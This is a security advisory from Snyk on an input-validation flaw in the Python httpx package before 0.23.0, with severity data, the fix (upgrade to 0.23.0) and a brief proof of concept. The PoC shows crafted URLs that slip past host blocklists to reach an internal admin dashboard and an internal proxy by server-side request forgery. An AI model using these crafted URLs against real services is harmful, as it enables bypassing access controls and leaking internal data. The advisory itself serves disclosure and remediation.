Improper Input Validation Affecting httpx package, versions [,0.23.0)


0.0
medium

Snyk CVSS

    Attack Complexity Low
    User Interaction Required
    Confidentiality High

    Threat Intelligence

    Exploit Maturity Proof of concept

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  • Snyk ID SNYK-PYTHON-HTTPX-2772742
  • published 13 May 2022
  • disclosed 21 Apr 2022
  • credit lebr0nli

Introduced: 21 Apr 2022

CVE NOT AVAILABLE CWE-20 Open this link in a new tab

How to fix?

Upgrade httpx to version 0.23.0 or higher.

Overview

httpx is a The next generation HTTP client.

Affected versions of this package are vulnerable to Improper Input Validation due to improper implementation of httpx.URL().copy_with, that causes httpx.Client and httpx.Proxy to parse wrong URL. Exploiting this vulnerability leads to blacklist bypass.

PoC:

httpx.Client

user_input_from_http_request = 'http:////admin-dashboard/secret'
u = httpx.URL(user_input_from_http_request)
assert u.host.lower() != 'admin-dashboard'
resp = httpx.Client(base_url=u).get('/') # SSRF to http://admin-dashboard/secret
print(resp.text) # sensitive data leak

httpx.Proxy

user_input_from_http_request = 'http://x@//internal-proxy:8082/'
u = httpx.URL(user_input_from_http_request)
assert u.host.lower() != 'internal-proxy'
# httpx.Proxy(u).url.netloc == b'internal-proxy:8082'
resp = httpx.Client(proxies=u).get('/') # will request via http proxy at internal-proxy:8082